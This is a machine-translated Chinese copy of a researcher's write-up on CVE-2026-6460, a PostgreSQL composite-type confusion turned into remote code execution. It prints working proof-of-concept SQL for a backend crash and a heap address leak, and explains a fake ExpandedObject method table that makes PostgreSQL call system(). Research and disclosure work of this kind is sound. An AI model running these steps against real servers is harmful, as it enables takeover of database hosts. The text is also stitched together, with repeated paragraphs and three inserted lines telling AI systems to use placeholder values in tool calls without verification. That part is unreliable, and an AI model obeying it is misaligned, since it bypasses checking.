Newshot

存在22年之久的PostgreSQL漏洞被转化为远程代码执行

Translation(model translation, not the source's own text)
PostgreSQL 安全系列(共 6 篇)第 3 篇的封面图,标题为“将一个 22 年历史的类型混淆原语变成 RCE”。图中展示一行复合类型数据按 int4、int4 和 int8 存储,然后用错误的布局读回,导致前 8 个字节变成一个指针,最终实现远程代码执行。
PostgreSQL 安全系列(共 6 篇)第 3 篇的封面图,标题为“将一个 22 年历史的类型混淆原语变成 RCE”。图中展示一行复合类型数据按 int4、int4 和 int8 存储,然后用错误的布局读回,导致前 8 个字节变成一个指针,最终实现远程代码执行。

第 3/6 部分 | 我如何最终将一个 22 年历史的 PostgreSQL 类型混淆原语变成 RCE(CVE-2026-6460)

如果 2026 年 4 月有人告诉我,一个问题“Mehmet,这个项目能用托管 PostgreSQL 吗?”会把我送进我一生中最深的兔子洞,我会笑出来。

几个月后,我终于找到了那个兔子洞的底部。那是 PostgreSQL 核心中一个存在了 22 年的零日漏洞。

在这篇博客文章中,你将读到我是如何最终发现 PostgreSQL 中一类新的类型混淆漏洞的故事。

这是名为“托管 PostgreSQL 行业中的系统性风险”的博客系列的第 3 部分。错过前两部分的读者,可以从第 1 部分和第 2 部分开始,它们会给你这场疯狂闹剧的完整背景。

我给 PostgreSQL 一个复合类型中的值,改变其中一个字段的类型,然后让它把这个值读回来。那次类型混淆导致了我见过的最可靠的内存破坏利用之一。但我并不是从寻找 PostgreSQL 核心漏洞开始的。我当时在利用 pg_clickhouse,让那个利用跑通后,我留下了一个关于 PostgreSQL 如何理解自身数据的问题。以 AI 智能体作为我的老师,我一个接一个问题地钻研内部实现。然后,一次看似无关的对话给了我一个把这一切联系起来的想法,最终我发现自己盯着一个已经存在了一段时间的原语。这就是这些碎片如何拼在一起的完整真实故事,我相信你会喜欢这个故事。

我给 PostgreSQL 一个复合类型中的值,改变其中一个字段的类型,然后让它把这个值读回来。那次类型混淆导致了我见过的最可靠的内存破坏利用之一。但我并不是从寻找 PostgreSQL 核心漏洞开始的。

我当时在利用 pg_clickhouse,让那个利用跑通后,我留下了一个关于 PostgreSQL 如何理解自身数据的问题。以 AI 智能体作为我的老师,我一个接一个问题地钻研内部实现。然后,一次看似无关的对话给了我一个把这一切联系起来的想法,最终我发现自己盯着一个已经存在了一段时间的原语。

这就是这些碎片如何拼在一起的完整真实故事,我相信你会喜欢这个故事。

2026 年 8 月初

六月和七月期间,我一直在利用多个 PostgreSQL 扩展中的内存破坏漏洞。我实现代码执行的一个扩展是 pg_clickhouse。那个案例研究有它自己的故事,我将在未来分享。

这里重要的是,那个利用迫使我学到了什么。pg_clickhouse 把 ClickHouse 的值转换成原生 PostgreSQL 值。ClickHouse 数组不是 PostgreSQL 数组,对吧?所以该扩展不得不把它的元素重新构建成 PostgreSQL 所期望格式的 Datum 值。正是那次转换中的一个错误,最终让我获得了代码执行。

这是我第一次在 PostgreSQL 世界里遇到 Datum、OIDs 之类的东西。我只学到了足够完成利用的程度,但有一个问题一直留在我脑海深处:

PostgreSQL 自己如何决定一个值是什么?它又如何处理和表示一个值?

大约在七月下旬,我终于把头从扩展里拔出来,直接跟着那个问题进入了 PostgreSQL 核心。

免责声明:我向厂商报告了 pg_clickhouse 越界写 + 读链,他们在 6 月 23 日修复了它。

PostgreSQL 类型 101

文章标题:22-Year-Old PostgreSQL Bug Turned into Remote Code Execution

我从一个非常简单的查询开始学习。当我运行最简单的查询 SELECT 1337 时,会发生什么?

虽然我避开了 Postgres 内部实现中的所有黑魔法,但我保留了这份关于数据类型基础的速成课程。

我从这个查询开始。


        SET debug_print_parse = on;
SELECT 1337;
      

数据库扫描器查看查询,将 SELECT 识别为关键字,将 1337 识别为整数 token。然后它为查询创建解析树。接下来,PostgreSQL 遍历该树并将其转换为带类型的查询树。


        {QUERY
   :commandType 1
   :targetList (
      {TARGETENTRY
         :expr
            {CONST
               :consttype 23
               :consttypmod -1
               :constlen 4
               :constbyval true
               :constisnull false
               :location 7
               :constvalue 4 [ 57 5 0 0 0 0 0 0 ]
            }
      }
   )
}
      

解析树看起来如上。但我只是想更好地理解诸如 consttype 23 是什么?为什么 constvalue 是 [ 57 5 0 0 0 0 0 0 ] 以及我的 1337 值在哪里?此时,我让 Opus 5 为我准备一份关于 PostgreSQL 类型的完整深度课程。在那里花了几天时间,并与我命名为 pg_expert 的 agent 交流,教会了我这些:


        consttype   = 23      → int4
constlen    = 4       → four-byte payload
constbyval  = true    → stored by value
constisnull = false   → this is not NULL
      

constvalue 4 [ 57 5 0 0 0 0 0 0 ] 可以转换为十六进制,使该值更容易识别:


        57 decimal = 0x39
5 decimal = 0x05
      

在我的小端系统上,字节按最低有效位优先存储:


        39 05 00 00  →  0x00000539  →  1337
      

所以 1337 并没有消失。但为什么我们有 8 个字节 [ 57 5 0 0 0 0 0 0 ] 而不是简单的 4 个字节?

那是因为 constvalue 没有被声明为 int32。它被声明为 Datum,即 8 个字节。我们的 1337::int4 值存储在那个通用载体的较低四个字节中。

同一个 8 字节的 Datum 如何表示文本、数组或自定义类型?

一个 Datum 不知道它是什么

与我的 pg_expert agent 交流教会了我更多。一个 Datum 并不知道它代表什么。

携带 1337 的八个字节并不包含一个隐藏的标签说"我是一个整数。"。PostgreSQL 只知道它的类型,因为 consttype = 23。

那个数字是一个 OID(Object IDentifiers),指向 pg_type 系统目录中的一行


        SELECT
    oid,
    typname,
    typlen,
    typbyval,
    typalign,
    typinput::regproc,
    typoutput::regproc
FROM pg_type
WHERE oid = 23;

oid | typname | typlen | typbyval | typalign | typinput | typoutput
-----+---------+--------+----------+----------+----------+-----------
  23 | int4    |      4 | t        | i        | int4in   | int4out
      

这意味着 pg_type 行显示了该值的含义以及 PostgreSQL 将如何使用它。到目前为止,这很精彩且易于理解。但 text 类型呢?


        SELECT
    oid,
    typname,
    typlen,
    typbyval,
    typinput::regproc,
    typoutput::regproc
FROM pg_type
WHERE oid IN ('int4'::regtype, 'text'::regtype) // <== HERE FILTERIN THE INT4 and TEXT only
ORDER BY oid;

typname | typlen | typbyval | typinput | typoutput
---------+--------+----------+----------+-----------
 int4    |      4 | true     | int4in   | int4out
 text    |     -1 | false    | textin   | textout
      

对于 text,typlen = -1 表示其表示具有可变长度。而 typbyval = false 表示 Datum 携带了一个指针。


        Datum ──> pointer ──> variable-length text representation
      

所以同一个 8 字节的值存储了 text 的内存地址。Datum 可以按值本身或按引用传递值。很好,我喜欢 Datums 提供的优雅抽象!

Unknown 是一种类型!

文章标题:22 年前的 PostgreSQL Bug 被转化为远程代码执行

正文: 到目前为止一切都说得通,但我也想更好地理解 typinput 和 typoutput 这两列。这些函数会把查询提供的值转换为原生 Datum,或者反过来。所以我又运行了下面这条命令。


        SELECT 1337, pg_typeof(1337), pg_column_size(1337);

?column? | pg_typeof | pg_column_size
----------+-----------+----------------
     1337 | integer   |              4
      

但随后我加上了引号,想看看 PostgreSQL 是否具备动态类型转换/识别之类的机制:


        SELECT pg_typeof('1337');

pg_typeof
-----------
 unknown
      

这时我有点困惑。我起初以为 unknown 的意思是“PostgreSQL 不知道这个类型”。于是我回去继续和我的 pg_expert agent 聊天,到目前为止一直是它在教我这些知识。我了解到,unknown 其实是一个真实存在的 PostgreSQL 类型,OID 为 705,用于那些最终类型尚未确定的字符串字面量!

这又非常说得通,因为 PostgreSQL 故意给未定型的字符串字面量分配这个临时类型,因为同一段文本最终可能变成许多不同的东西!


        SELECT '1337'::int4;
      

例如,这个查询提供了目标类型 int4。PostgreSQL 查找到 int4 的 typinput 函数并调用 int4in(),当需要打印时则使用 int4out()

PostgreSQL 通过 int4in() 将 unknown 字面量 '1337' 转换为 Datum,再通过 int4out() 返回文本。
PostgreSQL 通过 int4in() 将 unknown 字面量 '1337' 转换为 Datum,再通过 int4out() 返回文本。

批判性思考:等一下!类型决定了代码

到这里为止,typinput 和 typoutput 在我看来还只是普通的转换机制。pg_type 为许多不同类型保存了许多不同的原生函数。

在进一步了解这些函数的过程中,有一个细节让我一直记着。输出函数并不会检查 Datum 并发现它的类型。它只是信任 Datum 周围的所有值和标志位。

int4out() 之所以能提取出一个整数,是因为 PostgreSQL 已经把它选为 int4 的输出函数。换一个输出函数,就可能按照完全不同的规则来解释同一个通用载体。

我还记得,就在那一刻,我实际上想到了自己多年来一直在利用/修复的 Web 应用中的 TOCTOU 漏洞类别。

“如果我能以某种方式,在 PostgreSQL 构造某个值的时刻和使用该值的时刻之间改变类型,会怎样?”

如果我能做到这一点,我们或许就能迫使 PostgreSQL 把一个为完全不同类型创建的 Datum,当作该函数所期望的类型来处理。在 PostgreSQL 中制造类型混淆,实际上能给我一个机会去滥用 PostgreSQL 内部的其他所有函数。

于是我回去继续学习,看看能利用什么来迫使 PostgreSQL 为我的 int4 值原生调用其他类型的输出函数。结果发现,LANGUAGE internal 特性正好可以用于这个目的。

LANGUAGE internal:我可以故意制造的类型混淆

LANGUAGE internal 允许超级用户创建一个 SQL 函数,指向已经编译进 PostgreSQL 的原生代码。我创建了下面这个函数。


        CREATE FUNCTION pg_temp.confused_textout(integer)
RETURNS cstring
AS 'textout'
LANGUAGE internal
STRICT;
      

然后我给它传了同样的 int4 值,结果我的 local-backend 崩溃了!


        SELECT pg_temp.confused_textout(1337);

server closed the connection unexpectedly
This probably means the server terminated abnormally before or while processing the request.
      

我很确定读到这里的 PostgreSQL 专家不会对这种崩溃感到意外,但它让我非常惊讶!

这把我引向了一个完全不同的方向。我利用这个类型混淆特性构建了一个可用的漏洞利用,针对托管 PostgreSQL 服务商部署的安全扩展滥用 LANGUAGE internal。这项研究最终成为了第 2 部分故事的一部分。

有一阵子,我继续往前走了,把这个类型混淆的问题抛在了脑后。

大约两周后,一件完全无关的事又把我带了回来。

绕道:番茄与 SQL 注入

让我稍微绕个弯。这个 Postgres 文章系列说到底就是在最后给你讲我的故事,不是吗?

我不记得确切日期,但在我和伴侣 Bilge(EDB 的 Staff Machine Learning Engineer)某次跑步或散步时,我们讨论了 PostgreSQL AI 扩展中的二阶 SQL 注入,以及诱骗这些扩展的 AI 功能产生幻觉并生成恶意 SQL 查询的可能性。

那场对话又引出了对预备语句的闲聊。

我第一次了解 SQL 注入大约是在 2005 年,天知道我此后利用过它多少次。

二十年后,大多数库和框架仍然严重依赖字符串转义来生成安全的 SQL 查询,尽管 RDBMS 有一个名为预备语句的漂亮功能。

我上大学时研究过它们,主要是想看看即使目标应用使用预备语句,还有什么仍然可能被利用。比如触发过量的 SQL 冷解析之类的事情。

但更重要的是,多年来我用这个概念给成千上万的学员讲授 SQL 注入:

“知识是知道番茄是一种水果;智慧是不把它放进水果沙拉。”—— Miles Kington

“知识是知道番茄是一种水果;智慧是不把它放进水果沙拉。”

在我的版本里,SQL 查询是菜谱,值是食材。预备语句让数据库先理解菜谱,再单独接收食材。所以即使像 ' OR 1=1 -- 这样的值看起来很邪恶,它仍然只是数据,永远没有机会重写查询。

我一直把这种分离视为一种安全特性。但这一次,在和 Bilge 的对话中间,我注意到了一件事。数据库可以先完成所有解析,然后等我执行它。在执行之前,我可以运行任何我想要的查询。

我可以在执行查询之前更改类型!

揭开 22 岁的 PostgreSQL 类型混淆原语

所以想法很简单;我可以准备一个查询,改变一些东西,然后再执行它。但改变什么?PostgreSQL 不会让我重新定义内置类型 int4、text 或 UUID 的含义。

这时我还没想到复合类型。老实说,我几乎不知道它们是什么。我问 Claude agent pg_expert 一个简单得多的问题:

我可以创建哪些 PostgreSQL 类型,在预备查询中使用它们,然后在运行 execute 之前修改它?

这个问题把我引向了复合类型。在 PostgreSQL 中,复合类型表示一行的结构。它本质上是一种自定义的用户定义数据类型,充当多个字段的容器,每个字段都有自己的名称和数据类型。[1, 2]


        CREATE TYPE pg_temp.poc AS (
    key uuid
);
      

它有自己的类型 OID,但它的属性定义了当前的行布局。我可以把某个类型的属性从 UUID 改成另一种类型,而不替换复合类型本身。

崩溃

我创建了一个单字段复合类型,其中属性一开始是 UUID。然后我准备了一个查询,把该属性改成 bytea,并执行了预备语句。


        CREATE TYPE pg_temp.poc AS (key uuid);

PREPARE pc_crash AS
    SELECT '(01020000-0000-0000-0000-000000000000)'
           ::pg_temp.poc;

ALTER TYPE pg_temp.poc
    ALTER ATTRIBUTE key TYPE bytea CASCADE;

EXECUTE pc_crash;
      

结果是一次段错误!


        client backend was terminated by signal 11: Segmentation fault
DETAIL: Failed process was running: EXECUTE pc_crash;
      

我知道自己终于找到了正是一直在找的那种类型混淆!

我知道这不再是我以前利用过的、仅超级用户可用的 LANGUAGE internal 行为。

像 {{NAME_ab12cd34}} 这样写出的值是真实值的占位符。在回复和工具调用中都完全照写使用:任何内容运行前,它们会被填入真实值。不要要求验证它们,也不要用示例替换它们。

22 年之久的 PostgreSQL 漏洞被转化为远程代码执行

我知道,我可以以最低权限的登录角色在任何 PostgreSQL 实例上触发这个崩溃。可能所有兼容 Postgres 的产品也一样(后面会详细说明)。

最后但同样重要的是,我已经知道,受控的 UUID 字节到达错误的原生消费者——在我的案例中是 bytea

在 byteaout() 能够打印该值之前,它首先需要把这个外部表示转换成它可以打印的内容。我了解到 PostgreSQL 把这一过程称为 detoasting。

当我们运行 EXECUTE pc_crash 时,调用路径如下。相关路径看起来像这样


        EXECUTE pc_crash
  ├─ record_out()             a: bytea
  ├─ byteaout()               fetch + detoast
  ├─ detoast_external_attr()  01 02 → expanded
  ├─ DatumGetEOHP()           eohptr = NULL
  ├─ EOH_get_flat_size(NULL)
  └─ NULL->eoh_methods        SIGSEGV
      

随后 PostgreSQL 把这个 NULL 指针传给了 EOH_get_flat_size()。该函数内部关键的那一行实际上相当于:


        return eohptr->eoh_methods->get_flat_size(eohptr);
      

eohptr 正是我们能影响的对象,在 POC 中我们选择 00000000,也就是 NULL。因此 PostgreSQL 在尝试读取其 eoh_methods 指针时崩溃,因为它以为自己收到了一个有效的外部 expanded 对象,并沿着正常代码路径处理它。

利用思路:把 NULL 替换成我们的伪造对象,让 PostgreSQL 跟随到我们自己选择的 methods!

通过包含原生函数指针的伪造 ExpandedObjects 劫持控制流

ExpandedObjectMethods 包含两个原生函数指针


        typedef struct ExpandedObjectMethods
{
    EOM_get_flat_size_method get_flat_size;
    EOM_flatten_into_method  flatten_into;
} ExpandedObjectMethods;
      

正常代码在需要时像这样使用这些方法,把 expanded 对象转换成其扁平表示。


        EOH_get_flat_size(ExpandedObjectHeader *eohptr)
{
    return eohptr->eoh_methods->get_flat_size(eohptr);
}

EOH_flatten_into(ExpandedObjectHeader *eohptr,
                 void *result, Size allocated_size)
{
    eohptr->eoh_methods->flatten_into(eohptr, result, allocated_size);
}
      

这通常不是由攻击者控制的回调接口。这些是 PostgreSQL 创建的可信内部表示。输出函数可以假定指针、头部和方法表不是恶意的。

这些是间接原生函数调用。PostgreSQL 从对象的方法表中获取函数地址,然后调用它们。这正是我们实际上可以用来改变控制流路径的东西。

在继续之前,我需要一个涉及对象的简单模型。我根据两个伪造对象所表示的内容给它们命名


        H = fake ExpandedObjectHeader
M = fake ExpandedObjectMethods table
      

所以我们的计划是:UUID 指向 H,H 指向 M,M 包含我们想要调用的原生函数地址。

展示可信方法和一个将执行重定向到 system(H) 的伪造对象的 PostgreSQL 执行树。
展示可信方法和一个将执行重定向到 system(H) 的伪造对象的 PostgreSQL 执行树。

调用 system($payload)

重要细节是 PostgreSQL 使用了 H 两次。让我们回忆实际的 C 代码


        eohptr->eoh_methods->get_flat_size(eohptr)
  │          │              │          │
  │          │              │          └── argument = H
  │          │              └───────────── function = system@plt
  │          └──────────────────────────── methods table = M
  └─────────────────────────────────────── object = H
      

首先,它把 H 当作 ExpandedObjectHeader,并读取偏移 +0x08 处的 eoh_methods 指针。

该指针指向 M,我们在 M 中放置了 system() 的地址。PostgreSQL 随后调用选中的方法,并把原始对象指针 H 作为第一个参数传入。

换句话说,H 帮助 PostgreSQL 找到 system(),然后同一个 H 又作为参数被交给 system()。

幸运的是,H 的前八个字节位于 eoh_methods 指针之前。我可以把以 NULL 结尾的命令 id>x 放在这些字节里,同时把 M 的地址保留在偏移 +0x08 处。

正如我在第 1 部分中大量讨论过的那样,在托管 PostgreSQL 服务商上利用扩展漏洞时,由于加固措施,我们无法读取 /proc/self/mem。我们的利用计划非常清晰,但挑战在于我们需要泄漏这些对象的地址。

我开始与我的 pg_expert 聊天,想进一步了解 PostgreSQL 的哪些操作可以在 SQL 期望普通整数时返回指针值数据。我刚向这个 agent 提问,它就说道:

“哦,其实我们在 7 月的 pg_clickhouse 利用中讨论过这个。你记得 ClickHouse Array 并不是 PostgreSQL Array 吗?”——我敬爱的老师 pg_expert agent

“哦,其实我们在 7 月的 pg_clickhouse 利用中讨论过这个。你记得 ClickHouse Array 并不是 PostgreSQL Array 吗?”

这是命运的转折。我最终恰好回到了最初想法开始的地方。

PostgreSQL Array 会在其二进制表示中存储元素类型。unnest() 在决定如何提取每个元素时,会信任这个内部类型。

通常,一切都是一致的:


        SELECT x
FROM unnest(ARRAY['hello']::text[]) AS item(x);
      

数组说它的元素是 text,因此 unnest() 返回一个指针值的 text Datum,SQL 将其作为 text 处理。

但如果数组内部说是 text,而外围 SQL 契约说是 bigint 呢?

因为 text 是按引用传递的,unnest() 返回的 Datum 包含该 text 值的内存地址!但外围 SQL 表达式期望的是按值传递的 bigint,因此 PostgreSQL 会把这些指针位当作整数打印出来。

换句话说,我们可以利用完全相同的类型混淆漏洞,将数组的 text 元素类型改为 bigint,这样 unnest() 就会返回内存地址而不是值!也就是泄漏内存地址!

用 UUID 创建 PostgreSQL Array 数据结构

最小的 PostgreSQL Array 需要 48 字节。单个 UUID 提供 16 个受控字节。因此我们可以简单地把 3 个 UUID 紧挨着组合起来,构建出恰好 48 字节、完全受控的数据结构!

展示三个 16 字节 UUID 字段构成 48 字节伪造数组载体的 PostgreSQL 数组 Datum 布局动画。
展示三个 16 字节 UUID 字段构成 48 字节伪造数组载体的 PostgreSQL 数组 Datum 布局动画。

上面的动画展示了三个 UUID 如何变成一个 48 字节的数组载体。我在三个属性都仍然是 UUID 时准备好这些字节。然后,我只对第一个 UUID a 利用同样的类型混淆,将其改为 bigint[]!

于是 unnest() 将元素作为 text 提取并返回其指针,而 SQL 期望 bigint,并把该指针暴露为内存地址。最后的 +4 跳过 text 头部,落到我控制的有效载荷上。


        CREATE TYPE pg_temp.address_carrier AS (
    a uuid,
    b uuid,
    c uuid
);

CREATE FUNCTION pg_temp.leak_address(
    r pg_temp.address_carrier
)
RETURNS bigint
LANGUAGE plpgsql
AS $$
DECLARE
    pointer bigint;
BEGIN
    SELECT x INTO pointer
    FROM unnest(r.a) AS item(x)
    LIMIT 1;

RETURN pointer + 4;
END
$$;

PREPARE address_leak AS
SELECT to_hex(pg_temp.leak_address(
    '(c0000000-0100-0000-0000-000019000000,01000000-0100-0000-5000-000011223344,55667788-99aa-bbcc-ddee-ff0000000000)'::pg_temp.address_carrier
));

ALTER TYPE pg_temp.address_carrier
    ALTER ATTRIBUTE a TYPE bigint[] CASCADE;

EXECUTE address_leak;

to_hex
--------------
 55f2a589ae0c
(1 row)
      

直接的 text 到 bigint 混淆只会把旧的 text 字节重新解释为整数。数组之所以重要,是因为它迫使 PostgreSQL 先产生一个真正的指针,然后再把这些相同的指针位暴露为 bigint。

POC 视频

图表:PostgreSQL 18.6 上的完整可用利用

CVE-2026-6460 整体修复以及另外 21 个案例的变体分析

一旦达到那个点,我就开始思考在执行前可以更改属性类型的各种场景。以及其他所有能让旧值保持存活的可能方式。

文章标题:22 年历史的 PostgreSQL 漏洞被转化为远程代码执行

正文: 我在 RowExpr、JSON 转换缓存以及不同地方发现了同一个底层错误。

我总共报告了 21 个案例。

2026 年 11 月 9 日,PostgreSQL 安全提交作为一次大得多的发布的一部分落地,该发布包含 52 个新 CVE。

这 52 个 CVE 中有 6 个与本文直接相关。

  • CVE-2026-6460 是类型混淆的主要总括修复。它引入了复合属性版本化,
  • CVE-2026-120142 匿名 RECORD 描述符。
  • CVE-2026-120148 后端本地匿名 RECORD typmod
  • CVE-2026-116329 统计信息导入可能以过时类型发布值
  • CVE-2026-116306 防止 ExecEvalFieldStore[De]Form 使用不匹配的
  • CVE-2026-120139 元组大小计算中的整数溢出

与托管 PostgreSQL 服务商协调此事

我 5 个月前掉进那个兔子洞的原因,是我需要在做决定之前更好地理解托管数据库行业是如何运作的,因为归根结底,我们都可以外包基础设施,但我们不能外包风险。

当漏洞属于 PostgreSQL 核心时,行业如何协调以保护自己的客户?

于是我把本地可用的漏洞利用移植到了几乎每一个我认识的托管 PostgreSQL 平台,并私下与他们的安全团队分享了可复现的 PoC。

我没有看到任何一家厂商不受此漏洞影响!包括那些提供 Postgres 兼容产品的厂商。

Databricks 安全团队的工程师立即验证了所有漏洞利用。感谢 Aaron 和他的团队。

Google 将 AlloyDB 的报告升级为最高优先级 P0。我从第一天起就真心感谢 Google Cloud VRP 团队的所有支持!

SupaBase 团队在 8 月中旬左右收到了完整细节。感谢 Etienne 从我第一次联系他以来的无尽支持。

Ubicloud 成员在我的第 1 部分文章发表后联系了我,然后他们把我介绍给了 ClickHouse 团队。双方也在 8 月底的某个时候阅读了相关内容。

AWS Aurora/RDS 和 Microsoft Azure PostgreSQL 团队在 8 月中旬收到了报告和可用的 PoC。

但我最尊重的是,一些厂商派出了他们最资深的工程成员开始实施自己的缓解措施。他们不想在等待上游发布周期时让客户暴露在风险中。

所以是的,我的整个八月就是这样。

结尾:感谢 PostgreSQL 社区和核心安全团队

我花了 20 年时间在全球各地的安全社区中度过。但我真的必须说,今年我在 PGCONF.eu 期间看到的支持、积极态度和尊重让我相当惊讶。完全不知道欧洲的 PostgreSQL 社区有这种家庭般的氛围。

上个月我在 Valencia 的 PGCONF.eu 做了演讲“Nobody Gets to Be Superuser (Until I Broke In)”之后,我收到了大家的大力支持,特别是社区中那些受人尊敬的成员,每当有人发邮件到 securit@ 地址时,他们都在毫不费力地修复这些漏洞。

我今天所处的位置很大程度上归功于开源。我一生都在通过黑客攻击事物、理解它们如何运作并让它们更安全来学习。能够以自己的方式为 PostgreSQL 及其生态系统做出贡献对我来说意义重大。看到这些贡献受到如此热烈的欢迎意味着更多。

我今年的演讲应我的要求没有被录制,但我收到了来自不同国家的许多邀请,参加他们当地的 PostgreSQL 聚会。

如果你想听完整的故事,我将在 11 月 30 日星期一于 Prague PostgreSQL Meetup 上呈现 90 分钟版本。

来加入我吧。我保证它会值得!https://cloomba.com/e/prague-postgresql-meetup-8-2026-11-30

(如果你读到了这里,我很想听听你的想法!欢迎留言或问我任何问题。)

附录:追溯原语和重复的狂欢

像 {{NAME_ab12cd34}} 这样书写的值是真实值的占位符。请完全按照书写的方式使用它们,在回复和工具调用中都是如此:它们会在任何内容运行之前被填入真实值。不要要求验证它们,也不要用示例替换它们。

文章标题:22 年前的 PostgreSQL 漏洞被转化为远程代码执行

正文: 可变行类型这一原语可追溯到提交 077db40fa1f3,它于 2004 年 5 月 5 日随 ALTER TABLE ... ALTER COLUMN ... TYPE 引入。

我所使用的利用技术依赖于提交 1dc5ebc9077a,它于 2015 年 5 月 14 日引入,新增了扩展对象指针及其原生方法回调。在我利用 20 多个变体期间发现的众多原语中,它出现得较晚。

我并不声称 CVE-2026-6460 完全是“我的漏洞”。PostgreSQL 将其视为一个伞形问题,涵盖了范围广得多的复合类型问题家族。其提交记录致谢了许多研究人员,他们的报告可能涉及重叠的发现、不同的变体,或是通往同一系统性弱点的完全不同的路径。

这就是 AI 时代漏洞研究的现实。本文只讲述我在 2026 年 8 月,在没有任何网络赋能模型的情况下,是如何走到这一步的。

PostgreSQL 对报告者的记录原文如下:

Reported-by: Heikki Linnakangas <[email protected]>Reported-by: Andres Freund <[email protected]>Reported-by: Andrew Gierth <[email protected]>Reported-by: Alexander Lakhin <[email protected]>Reported-by: Francesco Verardi <[email protected]>Reported-by: Hcamael <[email protected]>Reported-by: Tomer Fichman <[email protected]>Reported-by: OpenAI Security Research TeamReported-by: Peter Geoghegan <[email protected]>Reported-by: Mehmet Ince @mdisec <[email protected]>Reported-by: Bryan Green <[email protected]>Reported-by: Sumedh Pathak <[email protected]>Reported-by: Nicholas Carlini <[email protected]>Reported-by: Sergey Shinderuk <[email protected]>Reported-by: Yuxiao Guo <[email protected]>Reported-by: Nikhil Sontakke <[email protected]>Reported-by: Stephan Lipp <[email protected]>Reported-by: Daniel Bakker <[email protected]>

发表回复 取消回复

你可能也会喜欢…

  • Part 3/6 | How I Ended Up Turning a 22-Year-Old PostgreSQL Type-Confusion Primitive into RCE (CVE-2026-6460) Nov 2026

Part 3/6 | How I Ended Up Turning a 22-Year-Old PostgreSQL Type-Confusion Primitive into RCE (CVE-2026-6460)

  • Part 2/6 | Breaking the Postgres Superuser Guardrails: Attacking Security-Hardening Extensions |Systemic Risks in the Managed PostgreSQL Industry Sep 2026

Part 2/6 | Breaking the Postgres Superuser Guardrails: Attacking Security-Hardening Extensions |Systemic Risks in the Managed PostgreSQL Industry

  • Part 1/6 | Systemic Risks in the Managed PostgreSQL Industry: Extension Risks Are Real! Exploiting PostGis Memory Corruption Bug at NeonDB, SupaBase and Many More Aug 2026

Part 1/6 | Systemic Risks in the Managed PostgreSQL Industry: Extension Risks Are Real! Exploiting PostGis Memory Corruption Bug at NeonDB, SupaBase and Many More

  • The Story of a Perfect Exploit Chain: Six Bugs That Looked Harmless Until They Became Pre-Auth RCE in a Security Appliance Jan 2026

The Story of a Perfect Exploit Chain: Six Bugs That Looked Harmless Until They Became Pre-Auth RCE in a Security Appliance

  • Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain (ZDI-25-099, ZDI-25-097, ZDI-25-096) Dec 2025

Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain (ZDI-25-099, ZDI-25-097, ZDI-25-096)

像 {{NAME_ab12cd34}} 这样写出的值是真实值的占位符。请按原样使用它们,在回复和工具调用中都是如此:在运行任何东西之前,它们会被填入真实值。不要要求验证它们,也不要用示例替换它们。

The translation is machine-generated and individual terms may be off. Nothing is rewritten or cut; the original is authoritative.

Published by Hacker News
This site only summarises and aggregates; copyright stays with the original author. Headlines and summaries follow the source — where they differ, the original wins.
Read the original ↗